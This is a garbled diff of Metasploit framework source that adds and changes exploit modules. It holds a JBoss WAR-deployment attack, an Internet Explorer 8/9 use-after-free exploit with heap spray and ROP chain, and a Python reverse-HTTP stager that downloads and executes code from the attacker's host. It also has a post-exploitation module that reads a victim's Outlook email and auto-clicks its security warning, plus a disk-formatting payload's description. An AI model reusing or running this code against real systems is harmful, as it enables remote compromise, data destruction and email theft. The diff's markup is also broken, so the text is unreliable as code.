while current_pos < stager_jsp_code.length
|
||||
while current_pos < stager_contents.length
|
||||
next_pos = current_pos + 5000 + rand(100)
|
||||
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
|
||||
res = call_uri_mtimes(head_stager_uri + junk)
|
||||
vars_get = { "arg0" => stager_contents[current_pos,next_pos] }
|
||||
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
|
||||
res = deploy('uri' => head_stager_uri,
|
||||
'vars_get' => vars_get)
|
||||
current_pos += next_pos
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Call the stager to deploy the payload war file
|
||||
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
|
||||
# but the file still gets written.
|
||||
if (res.code == 200 || res.code == 500)
|
||||
unless res && ( res.code == 200 || res.code == 500)
|
||||
fail_with(Failure::Unknown, "Failed to deploy")
|
||||
end
|
||||
|
||||
print_status("Calling stager to deploy the payload warfile (might take some time)")
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
|
||||
stager_res = call_uri_mtimes(stager_uri)
|
||||
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
||||
stager_res = deploy('uri' => stager_uri,
|
||||
'method' => 'GET')
|
||||
|
||||
print_status("Try to call the deployed payload")
|
||||
# Try to execute the payload by calling the deployed WAR file
|
||||
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
|
||||
payload_res = call_uri_mtimes(payload_uri)
|
||||
payload_res = deploy('uri' => payload_uri)
|
||||
|
||||
#
|
||||
# DELETE
|
||||
|
@ -236,187 +167,22 @@ EOT
|
|||
# The WAR can only be removed by physically deleting it, otherwise it
|
||||
# will get redeployed after a server restart.
|
||||
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
|
||||
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
|
||||
print_status("This might take some time, be patient...") if http_verb == "HEAD"
|
||||
delete_res = []
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
|
||||
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
|
||||
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
|
||||
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
|
||||
if head_stager_jsp_name
|
||||
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
|
||||
end
|
||||
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
|
||||
delete_res << delete_file('./', stager_base + '.war', '')
|
||||
delete_res << delete_file('./', app_base + '.war', '')
|
||||
delete_res.each do |res|
|
||||
if !res
|
||||
print_warning("WARNING: Unable to remove WAR [No Response]")
|
||||
elsif (res.code < 200 || res.code >= 300)
|
||||
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
||||
end
|
||||
end
|
||||
|
||||
handler
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Upload a text file with DeploymentFileRepository.store()
|
||||
def upload_file(base_name, jsp_name, content)
|
||||
data = 'action=invokeOpByName'
|
||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
||||
data << '&methodName=store'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg1=' + jsp_name
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg2=.jsp'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg3=' + Rex::Text.uri_encode(content)
|
||||
data << '&argType=boolean'
|
||||
data << '&arg4=True'
|
||||
|
||||
if (datastore['VERB'] == "POST")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
||||
'method' => datastore['VERB'],
|
||||
'data' => data
|
||||
}, 5)
|
||||
else
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
|
||||
'method' => datastore['VERB'],
|
||||
}, 30)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Delete a file with DeploymentFileRepository.remove().
|
||||
def delete_file(folder, name, ext)
|
||||
data = 'action=invokeOpByName'
|
||||
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
|
||||
data << '&methodName=remove'
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg0=' + folder
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg1=' + name
|
||||
data << '&argType=java.lang.String'
|
||||
data << '&arg2=' + ext
|
||||
|
||||
if (datastore['VERB'] == "POST")
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
||||
'method' => datastore['VERB'],
|
||||
'data' => data
|
||||
}, 5)
|
||||
else
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
|
||||
'method' => datastore['VERB'],
|
||||
}, 30)
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
# Call the URL multiple times until we have hit
|
||||
def call_uri_mtimes(uri, num_attempts = 5)
|
||||
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
|
||||
|
||||
# JBoss might need some time for the deployment. Try 5 times at most and
|
||||
# wait 5 seconds inbetween tries
|
||||
num_attempts.times do |attempt|
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => verb
|
||||
}, 30)
|
||||
|
||||
stripped_uri = uri[0,70] + "..."
|
||||
msg = nil
|
||||
if (!res)
|
||||
msg = "Execution failed on #{stripped_uri} [No Response]"
|
||||
elsif (res.code < 200 or res.code >= 300)
|
||||
msg = "http request failed to #{stripped_uri} [#{res.code}]"
|
||||
elsif (res.code == 200)
|
||||
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
|
||||
return res
|
||||
end
|
||||
|
||||
if (attempt < num_attempts - 1)
|
||||
msg << ", retrying in 5 seconds..."
|
||||
print_status(msg) if datastore['VERBOSE']
|
||||
select(nil, nil, nil, 5)
|
||||
else
|
||||
print_error(msg)
|
||||
return res
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def auto_target
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
if not (plat = detect_platform(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect platform!')
|
||||
end
|
||||
|
||||
if not (arch = detect_architecture(res))
|
||||
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
||||
return java_targets[0]
|
||||
end
|
||||
|
||||
|
||||
def query_serverinfo
|
||||
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
|
||||
res = send_request_raw(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => datastore['VERB']
|
||||
}, 20)
|
||||
|
||||
if (not res) or (res.code != 200)
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
def detect_platform(res)
|
||||
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
def detect_architecture(res)
|
||||
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
||||
arch = $1
|
||||
if (arch =~ /(x86|i386|i686)/i)
|
||||
return ARCH_X86
|
||||
elsif (arch =~ /(x86_64|amd64)/i)
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
Tested on Mavericks 10.9.5, and should work on previous versions.
|
||||
|
||||
The issue has been patched silently in Yosemite.
|
||||
The issue was patched silently in Yosemite.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
|
|
@ -39,7 +39,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Unknown', # Exploit in the wild first spotted in Japan
|
||||
'sinn3r' # Metasploit (thx binjo for the heads up!)
|
||||
'sinn3r', # Metasploit (thx binjo for the heads up!)
|
||||
'Rich Lundeen' # IE8 windows xp
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
|
@ -53,16 +54,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'win',
|
||||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script/i,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_ver => "9.0",
|
||||
:os_flavor => "7",
|
||||
:office => /2007|2010/
|
||||
:source => /script/i
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'Windows 7 with Office 2007|2010',
|
||||
{
|
||||
:os_name => 'Windows 7',
|
||||
:ua_ver => "9.0",
|
||||
:office => /2007|2010/
|
||||
}
|
||||
],
|
||||
[
|
||||
'Windows XP with IE 8',
|
||||
{
|
||||
:os_name => 'Windows XP',
|
||||
:ua_ver => "8.0"
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
@ -116,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
p
|
||||
end
|
||||
|
||||
def get_exploit_html(cli, target_info)
|
||||
def get_exploit_html_ie9(cli, target_info)
|
||||
gadgets = {}
|
||||
case target_info[:office]
|
||||
when '2007'
|
||||
|
@ -238,9 +250,75 @@ window.onload = function() {
|
|||
|
|
||||
end
|
||||
|
||||
def get_exploit_html_ie8(cli, target_info)
|
||||
code = payload.encoded
|
||||
|
||||
#address containing our heap spray is 0x20302020
|
||||
spray_addr = "\\u2024\\u2030"
|
||||
|
||||
#size to fill after free is 0x50
|
||||
free_fill = spray_addr + "\\u2424" * (((0x50-1)/2)-2)
|
||||
|
||||
rop = [
|
||||
0x77c3868a, # stack pivot in msvcrt || xchg eax, esp ; rcr dword [ebx-0x75], 0xFFFFFFC1 ; pop ebp ; ret ;
|
||||
0x20302020 # pointer to stack pivot
|
||||
].pack("V*")
|
||||
|
||||
rop << generate_rop_payload('msvcrt', code, { 'target'=>'WINDOWS XP SP3' }) << code
|
||||
|
||||
js_rop = Rex::Text.to_unescape(rop)
|
||||
|
||||
%Q|
|
||||
<html>
|
||||
<script>
|
||||
|
||||
#{js_property_spray}
|
||||
|
||||
tt = new Array(30);
|
||||
|
||||
function trigger()
|
||||
{
|
||||
var id_0 = document.createElement("sup");
|
||||
var id_1 = document.createElement("audio");
|
||||
|
||||
document.body.appendChild(id_0);
|
||||
document.body.appendChild(id_1);
|
||||
id_1.applyElement(id_0);
|
||||
|
||||
id_0.onlosecapture=function(e) {
|
||||
document.write("");
|
||||
|
||||
for(i = 0; i < tt.length; i++) {
|
||||
tt[i] = document.createElement('div');
|
||||
tt[i].className ="#{free_fill}";
|
||||
}
|
||||
|
||||
var s = unescape("#{js_rop}");
|
||||
sprayHeap({shellcode:s});
|
||||
}
|
||||
|
||||
id_0['outerText']="";
|
||||
id_0.setCapture();
|
||||
id_1.setCapture();
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
trigger();
|
||||
}
|
||||
</script>
|
||||
|
|
||||
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
html = get_exploit_html(cli, target_info)
|
||||
case target_info[:ua_ver]
|
||||
when "8.0"
|
||||
html = get_exploit_html_ie8(cli, target_info)
|
||||
when "9.0"
|
||||
html = get_exploit_html_ie9(cli, target_info)
|
||||
end
|
||||
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -258,6 +336,13 @@ hxds.dll (Microsoft® Help Data Services Module)
|
|||
FileVersion: 2.05.50727.4039 (QFE.050727-4000)
|
||||
|
||||
mshtml.dll
|
||||
|
||||
WinXP IE8 DLL info:
|
||||
ProductVersion: 8.0.6001.18702
|
||||
FileVersion: 8.0.6001.18702
|
||||
FileDescription: Microsoft (R) HTML Viewer
|
||||
|
||||
Win7 IE9 DLL info:
|
||||
ProductVersion: 9.00.8112.16446
|
||||
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
|
||||
FileDescription: Microsoft (R) HTML Viewer
|
||||
|
|
|
@ -58,10 +58,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script/i,
|
||||
:os_name => OperatingSystems::WINDOWS,
|
||||
:os_name => 'Windows 7',
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_ver => "9.0",
|
||||
:os_flavor => "7",
|
||||
:java => /1\.6|6\.0/,
|
||||
:mshtml_build => lambda { |ver| ver.to_i.between?(16446, 16490) } # May 17 mshtml to MS13-Jun
|
||||
},
|
||||
|
|
|
@ -44,8 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'BrowserRequirements' =>
|
||||
{
|
||||
:source => /script|headers/i,
|
||||
:os_name => Msf::OperatingSystems::WINDOWS,
|
||||
:os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,
|
||||
:os_name => 'Windows 7',
|
||||
:ua_name => Msf::HttpClients::IE,
|
||||
:ua_ver => '10.0',
|
||||
:mshtml_build => lambda { |ver| ver.to_i < 16843 },
|
||||
|
|
|
@ -27,10 +27,11 @@ class Metasploit4 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits Windows OLE Automation Array Vulnerability known as CVE-2014-6332.
|
||||
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
|
||||
The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.
|
||||
Powershell is required on the target machine. On Internet Explorer versions using Protected Mode,
|
||||
the user has to manually allow powershell.exe to execute in order to be compromised.
|
||||
For this module to be successful, powershell is required on the target machine. On
|
||||
Internet Explorer versions using Protected Mode, the user has to manually allow
|
||||
powershell.exe to execute in order to be compromised.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
|
|
@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
], self.class)
|
||||
|
||||
deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET','NETMASK','GATEWAY')
|
||||
deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def junk
|
||||
|
|
|
@ -25,15 +25,11 @@ module Metasploit3
|
|||
super(update_info(info,
|
||||
'Name' => 'Windows Drive Formatter',
|
||||
'Description' => %q{
|
||||
This payload formats all mounted disks in
|
||||
Windows (aka ShellcodeOfDeath).
|
||||
This payload formats all mounted disks in Windows (aka ShellcodeOfDeath).
|
||||
|
||||
After formatting, this payload sets the
|
||||
volume label to the string specified in
|
||||
the VOLUMELABEL option. If the code is
|
||||
unable to access a drive for any reason,
|
||||
it skips the drive and proceeds to the
|
||||
next volume.
|
||||
After formatting, this payload sets the volume label to the string specified in
|
||||
the VOLUMELABEL option. If the code is unable to access a drive for any reason,
|
||||
it skips the drive and proceeds to the next volume.
|
||||
},
|
||||
'Author' => [ 'Ashfaq Ansari <ashfaq_ansari1989[at]hotmail.com>',
|
||||
'Ruei-Min Jiang <mike820324[at]gmail.com>'
|
||||
|
|
|
@ -0,0 +1,67 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Python Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
|
||||
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
#
|
||||
# Constructs the payload
|
||||
#
|
||||
def generate
|
||||
lhost = datastore['LHOST'] || Rex::Socket.source_address
|
||||
|
||||
var_escape = lambda { |txt|
|
||||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
target_url = 'http://'
|
||||
target_url << lhost
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << '/'
|
||||
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
|
||||
|
||||
cmd = "import sys\n"
|
||||
if datastore['PROXYHOST'].blank?
|
||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
||||
else
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
|
||||
b64_stub = "import base64,sys;exec(base64.b64decode("
|
||||
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
|
||||
b64_stub << Rex::Text.encode_base64(cmd)
|
||||
b64_stub << "')))"
|
||||
return b64_stub
|
||||
end
|
||||
end
|
|
@ -14,10 +14,7 @@ module Metasploit3
|
|||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Python Meterpreter',
|
||||
'Description' => %q{
|
||||
Run a meterpreter server in Python. Supported Python versions
|
||||
are 2.5 - 2.7 and 3.1 - 3.4.
|
||||
},
|
||||
'Description' => 'Run a meterpreter server in Python (2.5-2.7 & 3.1-3.4)',
|
||||
'Author' => 'Spencer McIntyre',
|
||||
'Platform' => 'python',
|
||||
'Arch' => ARCH_PYTHON,
|
||||
|
@ -25,18 +22,18 @@ module Metasploit3
|
|||
'Session' => Msf::Sessions::Meterpreter_Python_Python
|
||||
))
|
||||
register_advanced_options([
|
||||
OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ])
|
||||
OptBool.new('PythonMeterpreterDebug', [ true, "Enable debugging for the Python meterpreter", false ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def generate_stage
|
||||
file = File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
|
||||
file = ::File.join(Msf::Config.data_directory, "meterpreter", "meterpreter.py")
|
||||
|
||||
met = File.open(file, "rb") {|f|
|
||||
met = ::File.open(file, "rb") {|f|
|
||||
f.read(f.stat.size)
|
||||
}
|
||||
|
||||
if datastore['DEBUGGING']
|
||||
if datastore['PythonMeterpreterDebug']
|
||||
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,152 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Post::Windows::Powershell
|
||||
|
||||
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" }
|
||||
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor", "de_DE" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr", "de_AT" => "Zugriff gew\xc3\xa4hren f\xc3\xbcr" }
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows Gather Outlook Email Messages',
|
||||
'Description' => %q{
|
||||
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
|
||||
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
|
||||
'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ],
|
||||
'Platform' => [ 'win' ],
|
||||
'Arch' => [ 'x86', 'x64' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Actions' => [
|
||||
[ 'LIST', { 'Description' => 'Lists all folders' } ],
|
||||
[ 'SEARCH', { 'Description' => 'Searches for an email' } ]
|
||||
],
|
||||
'DefaultAction' => 'LIST'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FOLDER', [ false, 'The e-mailfolder to read (e.g. Inbox)' ]),
|
||||
OptString.new('KEYWORD', [ false, 'Search e-mails by the keyword specified here' ]),
|
||||
OptString.new('A_TRANSLATION', [ false, 'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
|
||||
OptString.new('ACF_TRANSLATION', [ false, 'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def execute_outlook_script(command)
|
||||
base_script = File.read(File.join(Msf::Config.data_directory, "post", "powershell", "outlook.ps1"))
|
||||
psh_script = base_script << command
|
||||
compressed_script = compress_script(psh_script)
|
||||
cmd_out, runnings_pids, open_channels = execute_script(compressed_script)
|
||||
while(d = cmd_out.channel.read)
|
||||
print ("#{d}")
|
||||
end
|
||||
currentidle = session.ui.idle_time
|
||||
vprint_status("System has currently been idle for #{currentidle} seconds")
|
||||
end
|
||||
|
||||
# This function prints a listing of available mailbox folders
|
||||
def listBoxes
|
||||
command = 'List-Folder'
|
||||
execute_outlook_script(command)
|
||||
end
|
||||
|
||||
# This functions reads Outlook using powershell scripts
|
||||
def readEmails(folder,keyword,atrans,acftrans)
|
||||
view = framework.threads.spawn("ButtonClicker", false) {
|
||||
clickButton(atrans,acftrans)
|
||||
}
|
||||
command = "Get-Emails \"#{keyword}\" \"#{folder}\""
|
||||
execute_outlook_script(command)
|
||||
end
|
||||
|
||||
def clickButton(atrans,acftrans)
|
||||
# This functions clicks on the security notification generated by Outlook.
|
||||
sleep 1
|
||||
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
|
||||
if hwnd != 0
|
||||
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
|
||||
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
|
||||
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
|
||||
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
|
||||
client.railgun.user32.SetActiveWindow(hwndChild['return'])
|
||||
client.railgun.user32.SetForegroundWindow(hwndChild['return'])
|
||||
client.railgun.user32.SetCursorPos(150,150)
|
||||
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
|
||||
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
|
||||
else
|
||||
print_error("Error while clicking on the Outlook security notification. Window could not be found")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
# Main method
|
||||
folder = datastore['FOLDER']
|
||||
keyword = datastore['KEYWORD'].to_s
|
||||
allow = datastore['A_TRANSLATION']
|
||||
allow_access_for = datastore['ACF_TRANSLATION']
|
||||
langNotSupported = true
|
||||
|
||||
# OS language check
|
||||
sysLang = client.sys.config.sysinfo['System Language']
|
||||
A_HASH.each do |key, val|
|
||||
if sysLang == key
|
||||
langNotSupported = false
|
||||
atrans = A_HASH[sysLang]
|
||||
acftrans = ACF_HASH[sysLang]
|
||||
end
|
||||
end
|
||||
|
||||
if allow and allow_access_for
|
||||
atrans = allow
|
||||
acftrans = allow_access_for
|
||||
else
|
||||
if langNotSupported == true
|
||||
fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
|
||||
end
|
||||
end
|
||||
|
||||
# Outlook installed
|
||||
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
|
||||
outlookInstalled = registry_getvaldata("#{@key_base}\\", "NextAccountID")
|
||||
|
||||
if !outlookInstalled.nil?
|
||||
if outlookInstalled != 0
|
||||
print_good "Outlook is installed"
|
||||
else
|
||||
fail_with(Failure::Unknown, "Outlook is not installed")
|
||||
end
|
||||
end
|
||||
|
||||
# Powershell installed check
|
||||
if have_powershell?
|
||||
print_good("Powershell is installed.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "Powershell is not installed")
|
||||
end
|
||||
|
||||
# Check whether target system is locked
|
||||
locked = client.railgun.user32.GetForegroundWindow()['return']
|
||||
if locked == 0
|
||||
fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked")
|
||||
end
|
||||
|
||||
case action.name
|
||||
when 'LIST'
|
||||
print_good('Available folders in the mailbox: ')
|
||||
listBoxes
|
||||
when 'SEARCH'
|
||||
readEmails(folder,keyword,atrans,acftrans)
|
||||
else
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -45,4 +45,50 @@ describe Msf::Module do
|
|||
it { is_expected.to respond_to :cached? }
|
||||
it { is_expected.to respond_to :is_usable }
|
||||
end
|
||||
|
||||
describe "cloning modules into replicants" do
|
||||
module MsfExtensionTestFoo; def my_test1; true; end; end;
|
||||
module MsfExtensionTestBar; def my_test2; true; end; end;
|
||||
|
||||
describe "#perform_extensions" do
|
||||
describe "when there are extensions registered" do
|
||||
before(:each) do
|
||||
msf_module.register_extensions(MsfExtensionTestFoo, MsfExtensionTestBar)
|
||||
end
|
||||
|
||||
it 'should extend the module replicant with the constants referenced in the datastore' do
|
||||
expect(msf_module.replicant).to respond_to(:my_test1)
|
||||
expect(msf_module.replicant).to respond_to(:my_test2)
|
||||
end
|
||||
end
|
||||
|
||||
describe "when the datastore key has invalid data" do
|
||||
before(:each) do
|
||||
msf_module.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY] = "invalid"
|
||||
end
|
||||
|
||||
it 'should raise an exception' do
|
||||
expect{msf_module.replicant}.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe "#register_extensions" do
|
||||
describe "with single module" do
|
||||
it 'should place the named module in the datastore' do
|
||||
msf_module.register_extensions(MsfExtensionTestFoo)
|
||||
expect(msf_module.replicant.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY]).to eql([MsfExtensionTestFoo])
|
||||
end
|
||||
end
|
||||
|
||||
describe "with multiple modules" do
|
||||
it 'should place the named modules in the datastore' do
|
||||
msf_module.register_extensions(MsfExtensionTestFoo, MsfExtensionTestBar)
|
||||
expect(msf_module.replicant.datastore[Msf::Module::REPLICANT_EXTENSION_DS_KEY]).to eql([MsfExtensionTestFoo, MsfExtensionTestBar])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -58,4 +58,72 @@ describe Msf::HTTP::JBoss::Base do
|
|||
end
|
||||
end
|
||||
|
||||
describe "#query_serverinfo" do
|
||||
before :each do
|
||||
allow(subject).to receive(:send_request_cgi) do
|
||||
if res_code.nil?
|
||||
res = nil
|
||||
else
|
||||
res = Rex::Proto::Http::Response.new
|
||||
res.code = res_code
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
end
|
||||
|
||||
context 'when server timeouts' do
|
||||
let(:res_code) { nil }
|
||||
it { expect(subject.query_serverinfo()).to be_nil }
|
||||
end
|
||||
|
||||
